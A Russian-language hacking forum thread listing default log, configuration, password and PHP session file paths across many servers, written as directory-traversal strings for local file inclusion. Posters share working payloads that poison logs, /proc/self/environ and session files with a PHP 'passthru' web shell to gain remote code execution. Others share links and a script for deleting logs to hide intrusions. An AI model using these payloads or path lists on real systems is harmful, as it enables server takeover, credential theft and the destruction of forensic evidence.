![]() |
Default *log, *conf files locations
Apache:
*log Код:
../../../../../../../../../../../../var/log/httpd/access_logКод:
../../../../../../usr/local/apache/conf/httpd.confКод:
../../../../../../../../../etc/php.ini*log /usr/local/cpanel/logs /usr/local/cpanel/logs/stats_log /usr/local/cpanel/logs/access_log /usr/local/cpanel/logs/error_log /usr/local/cpanel/logs/license_log /usr/local/cpanel/logs/login_log /usr/local/cpanel/logs/stats_log *conf /var/cpanel/cpanel.config MySQL: *log /var/log/mysql/mysql-bin.log /var/log/mysql.log /var/log/mysqlderror.log /var/log/mysql/mysql.log /var/log/mysql/mysql-slow.log /var/mysql.log *conf /var/lib/mysql/my.cnf /etc/mysql/my.cnf /etc/my.cnf MySQL(Windows): *log Код:
C:\Program Files\MySQL\MySQL Server 5.0\data\hostname.errКод:
C:\Program Files\MySQL\MySQL Server 5.0\my.ini*log /usr/local/apache/logs/audit_log /logs/security_debug_log /logs/security_log *conf /usr/local/apache/conf/modsec.conf FTP: ProFTPD: *log /etc/logrotate.d/proftpd /www/logs/proftpd.system.log /var/log/proftpd *conf /etc/proftp.conf /etc/protpd/proftpd.conf /etc/vhcs2/proftpd/proftpd.conf /etc/proftpd/modules.conf vsftpd: *log /var/log/vsftpd.log /etc/vsftpd.chroot_list /etc/logrotate.d/vsftpd.log *conf /etc/vsftpd/vsftpd.conf /etc/vsftpd.conf /etc/chrootUsers wu-ftpd: *log /var/log/xferlog /var/adm/log/xferlog *conf /etc/wu-ftpd/ftpaccess /etc/wu-ftpd/ftphosts /etc/wu-ftpd/ftpusers Pure-FTPd: *conf /usr/sbin/pure-config.pl /usr/etc/pure-ftpd.conf /etc/pure-ftpd/pure-ftpd.conf /usr/local/etc/pure-ftpd.conf /usr/local/etc/pureftpd.pdb /usr/local/pureftpd/etc/pureftpd.pdb /usr/local/pureftpd/sbin/pure-config.pl /usr/local/pureftpd/etc/pure-ftpd.conf -/etc/pure-ftpd.conf /etc/pure-ftpd/pure-ftpd.pdb /etc/pureftpd.pdb /etc/pureftpd.passwd /etc/pure-ftpd/pureftpd.pdb DragonflyBSD & FreeBSD: /usr/ports/ftp/pure-ftpd/ OpenBSD: /usr/ports/net/pure-ftpd/ NetBSD: /usr/pkgsrc/net/pureftpd/ Crux Linux: /usr/ports/contrib/pure-ftpd/ *log /var/log/pure-ftpd/pure-ftpd.log /logs/pure-ftpd.log /var/log/pureftpd.log Other: /var/log/ftp-proxy/ftp-proxy.log /var/log/ftp-proxy /var/log/ftplog /etc/logrotate.d/ftp /etc/ftpchroot /etc/ftphosts Mail server: Exim:*log /var/log/exim_mainlog /var/log/exim/mainlog /var/log/maillog /var/log/exim_paniclog /var/log/exim/paniclog /var/log/exim/rejectlog /var/log/exim_rejectlog Информация к размышлению: Цитата:
- Логи для умных - ЗАМЕТАЕМ СЛЕДЫ В LINUX - Скажи логам нет! - В борьбе с журнальными бестиями - Боремся с логами в *nix - Боремся с логами в *nix #2 - Бортжурнал юниксоида - О взломе лог файлов thx [53x]Shadow |
Вложений: 1
В аттаче - элементарная утилитка для проверки GET инклудов. Если у вас есть РАСПРОСТРАНЕННЫЙ ПУТЬ отстуствующий в списке - запостите его. |
Значит, помниццо были разговоры про то что при инклуде логов возникают проблемы и т.п.
В error_log часто пишется "Referer". В access_log - "User-Agent". И касательно мифа по тому что символы < > кодируюццо в URL аналоги и "ничего не сделаешь" - запустите любой http-снифер и вы увидите, что это браузер виноват - он автоматом переводит символы в урл. Просто пошлите пакет любой тулзой типа AccessDriver. |
...
Код:
../../../../../../usr/local/apache/bin/httpd |
MuddleFTPD
*log Код:
/var/log/muddleftpdКод:
/etc/muddleftpd.com |
В большенстве случаев сервер под управлением Win NT хранит свои лог файлы в следующих директориях:
HTTP: %SystemRoot%\system32\logfiles\W3SVC#(W3SVC1,W3SVC2,W3SVC3...)\ FTP: %SystemRoot%\system32\logfiles\MSFTPSVC#(MSFTPSVC4,MSFTPSVC5...)\ SMTP: %SystemRoot%\system32\logfiles\SMTPSVC#(SMTPSVC1,SMTPSVC2...)\ # -обозначает номер веб-сайта(номер узла) (по умолчанию равен "1") Имя файла соответствует его дате создания: in02039.log (2002 9-ое марта) Примечание по типам журнулов: IIS аббревиатурой служит "in" W3C аббревиатурой служит "ex" NCSA аббревиатурой служит "nc" Отчёты стандартного Firewall'а: %SystemRoot%\system32\logfiles\Firewall\pfirewall. log %SystemRoot%\system32\logfiles\Firewall\pfirewall. log.old |
lighthttpd *log /var/log/lighttpd.error.log /var/log/lighttpd.access.log /var/lighttpd.log /var/logs/access.log /var/log/lighttpd/ /var/log/lighttpd/error.log /var/log/lighttpd/access.www.log /var/log/lighttpd/error.www.log /var/log/lighttpd/access.log /usr/local/apache2/logs/lighttpd.error.log /usr/local/apache2/logs/lighttpd.log /usr/local/apache/logs/lighttpd.error.log /usr/local/apache/logs/lighttpd.log /var/log/lighttpd.access.log /var/log/lighttpd.error.log /usr/local/lighttpd/log/lighttpd.error.log /usr/local/lighttpd/log/access.log /var/log/lighttpd/mydomain/access.log /var/log/lighttpd/mydomain/error.log /usr/home/user/var/log/lighttpd.error.log /usr/home/user/var/log/apache.log *conf /home/user/lighttpd/lighttpd.conf /usr/home/user/lighttpd/lighttpd.conf /etc/lighttpd/lighthttpd.conf /usr/local/etc/lighttpd.conf /usr/local/lighttpd/conf/lighttpd.conf /usr/local/etc/lighttpd.conf.new /var/www/.lighttpdpassword Samba *conf/etc/smbpasswd /etc/smb.conf /etc/samba/smb.conf /etc/samba/samba.conf /etc/samba/smb.conf.user /etc/samba/smbpasswd /etc/samba/smbusers /etc/samba/private/smbpasswd /etc/samba/smb.conf.198.166.0.5 /usr/local/samba/lib/smb.conf.198.166.0.5 /usr/local/etc/smb.conf /usr/local/samba/lib/smb.conf.user /daten/home/gr-user *log /usr/local/samba/lib/log.user /usr/local/logs/samba.log /usr/local/samba/lib/log.198.166.0.5 /var/log/samba/log.smbd /var/log/samba/log.nmbd /var/log/samba.log /var/log/samba.log1 /var/log/samba.log2 /var/log/samba/samba_198.166.0.5.log /var/log/samba/198.166.0.5.log /var/log/samba.198.166.0.5 /var/log/samba.log.198.166.0.5 /var/log/samba/198.166.0.5 /var/log/log.smb /var/log/samba-log.198.166.0.5 /etc/samba/netlogon |
PostgreSQL *log /var/postgresql/log/postgresql.log /var/log/postgresql/postgresql.log /var/log/postgres/pg_backup.log /var/log/postgres/postgres.log /var/log/postgresql.log /var/log/pgsql/pgsql.log /var/log/postgresql/postgresql-8.1-main.log /var/log/pgsql8.log /var/log/postgresql/postgres.log /var/log/pgsql_log /var/log/postgresql/main.log /var/log/cron /var/log/postgres.log /usr/internet/pgsql/data/postmaster.log /usr/local/pgsql/data/postgresql.log /usr/local/pgsql/data/pg_log c:\PostgreSQL\log\pgadmin.log *conf /var/lib/pgsql/data/postgresql.conf /var/postgresql/db/postgresql.conf /var/nm2/postgresql.conf /usr/local/pgsql/data/postgresql.conf /usr/local/pgsql/data/pg_hba.conf /usr/internet/pgsql/data/pg_hba.conf /usr/local/pgsql/data/passwd /usr/local/pgsql/bin/pg_passwd /etc/postgresql/postgresql.conf /etc/postgresql/pg_hba.conf /home/postgres/data/postgresql.conf /home/postgres/data/PG_VERSION /home/postgres/data/pg_ident.conf /home/postgres/data/pg_hba.conf Error Reporting and Logging |
ipfw (BSD) *log /var/log/ipfw.log /var/log/ipfw /var/log/ipfw/ipfw.log /var/log/ipfw.today *conf /etc/ipfw.rules /etc/ipfw.conf /etc/firewall.rules |
Вложений: 1
*обновление постов.
Структура архива: _all_apache.log.txt _all_httpd.conf.txt _all_log.txt -LAMPP, XAMPP, Apache. _all_php.ini.txt _all_mysql.txt _all_mysql_win.txt _all_cpanel.txt _all_modsecurity.txt _all_ftp.txt -ProFTPD, vsftpd, wu-ftpd,Pure-FTPd, MuddleFTPD. _all_samba.txt _all_lighthttpd.txt _all_postgresq.txt |
1) юзаем логи, не зная к ним пути
a. /proc/%{PID}/fd/%{FD_ID} %{PID} - пид %{FD_ID} - ярлыки, (1,2,3,..,9) 2 и 7 логи апача (не факт что всегда, у меня были тоже 2 и 7) /proc/self/status - смотрим пид /proc/%{PID}/fd/%{FD_ID} -> /proc/3661/fd/2 index.php?inc=../../../../../proc/3661/fd/2 User-Agent: <?php passthru($_GET['cmd']) ?> Код:
dr-x------ 2 www-data www-data 0 Jan 2 18:27 .index.php?inc=../../../../../proc/self/fd/2 User-Agent: <?php passthru($_GET['cmd']) ?> 2) переменные окружения (если неправильно понял - поправьте) index.php?inc=../../../../../proc/self/environ POST: User-Agent: <?php passthru($_GET['cmd']) ?> 3) mail PHP код:
index.php?inc=../../../../../var/spool/mail/ololo зы. /proc/version /proc/self/cmdline /proc/devices по мотивам Код:
http://www.ush.it/2008/08/18/lfi2rce-local-file-inclusion-to-remote-code-execution-advanced-exploitation-proc-shortcuts/ |
Скрипт для поиска путей логов Apache
Код:
#! /usr/bin/perl |
немного проверил то что c411k написал - mail файл доступен только юзеру чей mail, так что чтоб прочитать нужен и апач под тем же юзером, всяким www,nobody,apache запрещается по дефолту иметь ящик,
/proc/self/environ у меня пустой , не знаю как будет при php в cgi моде, лог файлы да читаются на ура только если прав хватит, проверил на других хостах - только рут может логи читать (, потом еще через файл сессии можно инклуд сделать у меня он находится в /proc/self/fd/10 |
Рассмотрим ситуацию, когда уникальному пользователю присваивается SID (Session IDentifier) идентификатор, без какой либо фильтрации входящего содержимого,
Независимо от его способа передачи(Cookie/Query string), на сервере будет создан "файл сеанса", при условии что session.save_handler соответствует значение files, в каталоге определенной директивой session.save_path. Главным плюсом является то, что обслуживание хостов на сервере будет производится одним процессом. Session.save_path: /tmp/sess_<session_id> /php_sess/sess_<session_id> /tmp/php-sess/sess_<session_id> /home/%username%/tmp/sess_<session_id> ../../../../tmp/sess_7083093d3b1e818d5c86c79b0f62a374&cmd=id |
osx
httpd conf /etc/osxhttpd/osxhttpd.conf /System/Library/WebObjects/Adaptors/Apache2.2/apache.conf osx site conf /etc/apache2/sites/*.conf" /etc/httpd/sites/000[1...]_[IP]_[PORT]_[SITE_NAME].conf Пример: 0002_18.80.2.252_80_meche.mit.edu.conf default site dir /Library/WebServer/Documents/ Webmin conf /usr/local/etc/webmin/miniserv.conf /etc/webmin/miniserv.conf /usr/local/etc/webmin/miniserv.users /etc/webmin/miniserv.users log /var/log/webmin/miniserv.log |
SquirrelMail *log /usr/share/squirrelmail/plugins/squirrel_logger/setup.php $sl_logfile = "/var/log/squirrelmail.log"; /var/log/apache2/squirrelmail.log /var/log/apache2/squirrelmail.err.log /var/lib/squirrelmail/prefs/squirrelmail.log /var/log/squirrelmail.log /var/log/mail.log ls: #ls /usr/local/squirrelmail/www/ Код:
AUTHORS configure doc include plugins srcКод:
attach dataКод:
apache.conf config_local.php default_pref index.php/etc/squirrelmail/config/config.php /etc/squirrelmail/config.php /etc/httpd/conf.d/squirrelmail.conf /usr/share/squirrelmail/config/config.php /private/etc/squirrelmail/config/config.php /srv/www/htdos/squirrelmail/config/config.php /var/www/squirrelmail/config/config.php /var/www/html/squirrelmail/config/config.php /var/www/html/squirrelmail[Version]/config/config.php (/var/www/html/squirrelmail-1.2.9/config/config.php) Plugin /etc/squirrelmail/plugins /usr/share/squirrelmail/plugins /usr/share/squirrelmail/config/config.php $plugins[1] = 'squirrel_logger'; $plugins[2] ... |
насколько я понял выполнить код через /proc/self/environ получиться только если php работает как cgi, иначе /proc/self/environ будет указываеть на окружение апача. Проверить легко, если в /proc/self/cmdline что-то вроде
Код:
/usr/sbin/apache2�-k�start� |
Небольшое дополнение к материалу предоставленному c411k
1 На фре это работать не будет. там немного по другому всё устроено и по умолчанию proc/ не используется. 2 Через пиды искать логи бесполезно, да и не нужно, дело в том, что proc/self/ это как раз ссылка на каталог с данными процесса, а proc/self/fd в свою очередь дирректория содержащая ссылки на файлы которые использует процесс. Так-что всё проще. ============================= И так-же по дефолтным логам добывлю из своих наблюдений На Апаче 2.2.x частенько попадаются директории apache22/ т.е. Цитата:
|
nginx *.conf: Код:
../../../../../../etc/nginx/srv.d/*.confКод:
../../../../../../var/log/nginx/access_log |
Цитата:
Цитата:
|
Сори, хотел исправить пост, а нажал делит) Выкладываю еще раз.
IRIX: Код:
/var/adm/SYSLOGКод:
/var/adm/pacctКод:
/var/adm/messagesКод:
/var/log/lastlogRed Hat, Mac OS X Код:
/var/log/httpd/access_logКод:
/var/apache/logs/access_logSuSE Linux Enterprise Server Код:
/var/log/httpd/access_logКод:
/opt/lampp/logs/error_logКод:
/var/log/apache/access.logКод:
/usr/local/etc/httpd/logs/access_logКод:
/var/www/log/access_log |
5 копеек..
Цитата:
|
Kак пишутся логины в систему
Есть основные места, в которых сохраняется системная информация о логине: /usr/etc/wtmp /usr/etc/lastlog /etc/utmp utmp пишет инфу о том, кто в настоящее время использует систему. Файл - последовательность входов со следующей структурой, которая конфигурится в /usr/include/utmp.h Код:
struct utmp {wtmp пишет все входа и выходы из системы. Пустое имя пользователя указывает выход из системы на связанном терминале. Кроме того, '~' указывает, что система была перезагружена в указанное время; вход с именами включающими'|' говорит, что система изменила время как раз перед логоном и с именами и '{' после того как был совершен логон (то есть , команда даты изменила время системы. Wtmp обслуживается login(1) и init (8). Они свои события по идее не пишут никуда, так что если их отрубить, то и логи в wtmp писаться не будут. Wtmp используется вместе с командой/usr/ucb/last. Это понятно? Запросто проверить если служба не работает. /usr/adm/lastlog используется login(1) для того, чтобы сохранить предыдущие даты входа в систему, время, в которое они были, и с какого хоста подключались. Структура для lastlog такая: Код:
struct lastlog { |
FreeBSD 7.1-RELEASE 2009 i386
Цитата:
|
архив в первом посте битый (auto_includer.zip (3.6 Кбайт, 146 просмотров)). Есть у кого нибудь?
|
Код:
/usr/local/etc/apache2/vhosts.confтам всегда полный и правильный Document Root + часто полный адрес ERROR логов Ну и моё любимое чото тут не наблюдал вроде: Код:
/proc/self/environприм. BlackSun: ты хоть ветку почитай полностью .. https://forum.antichat.ru/showpost.php?p=1088072&postcount=11 |
sess_ location
/tmp/ /php_sess/ /tmp/phpsess/ /tmp/php/ /tmp/php-sess/ /home/%username%/tmp/ /var/phptemp/ /var/phptmp/ /var/phpsess/ /var/php-sess/ /var/lib/php/ /var/lib/php/session/ /var/lib/php3 /var/lib/php3/session/ /var/lib/php4/ /var/lib/php4/session/ /var/lib/php5/ /var/lib/php5/session/ /var/lib/php6/ /var/lib/php6/session/ /www/phpsession/ C:\Temp C:\WINDOWS\Temp C:\PHP\sessiondata .htaccess php_value "session.save_path" "/path" phpinfo() session.save_handler files session.save_path /path Самый лучший вариант это поиск пшпинфо на сайте, т.к в нём вы увидим мастер валью, т.е то что прописано в php.ini и локал валью, то что прописано (если прописано) в .htaccess'e Второй вариант поиск пшп.ини и .htaccess'ов Ну и конечно можно просто искать саму папку с сессиями |
Только что так заюзал:
Код:
/etc/apache/default-server.conf |
Cкрипт, который находит и удаляет лог файлы
Код:
#!/usr/local/bin/bash |
Пути логов по умолчанию у apache для разных ОС:
hxxp://wiki.apache.org/httpd/DistrosDefaultLayout |
LiteSpeed Web Server
Zeus Web Server (ZWS) default conf: /usr/local/zeus/web/global.cfg default log: /usr/local/zeus/web/log/errors LiteSpeed Web Server default conf: /opt/lsws/conf/httpd_conf.xml /usr/local/lsws/conf/httpd_conf.xml default log: /opt/lsws/logs/error.log /opt/lsws/logs/access.log /usr/local/lsws/logs/error.log /usr/local/logs/access.log |
Зачастую демоны запускаются через init.d. Это существенно облегчает нам поиск логов и конфигов
init.d - mysql /etc/init.d/mysql init.d - apache /etc/init.d/httpd /etc/init.d/apache /etc/init.d/apache2 Как примерно выглядит этот файл Код:
#!/bin/shpname=apache2 : ${sysconfdir:=/etc/$pname} ... httpd_conf=${APACHE_HTTPD_CONF:-$sysconfdir/httpd.conf} В данном случае конфиг находится в /etc/apache2/httpd.conf |
Цитата:
ссылка уже битая |
Обновите и перезалейте архив с путями по умолчанию, он битый!
|
Вот такой вот изврат сегодня во FreeBSD встретил:
Код:
/usr/local/etc/apache/httpd.conf |
Ubuntu (стали часто встречаться):
Код:
/etc/apache2/sites-available/default |
В sites-enabled обычно лежат симлинки на соответствующие файлы в sites-available
|
NetBSD:
Код:
/usr/pkg/etc/httpd/httpd.conf |
| Время: 00:57 |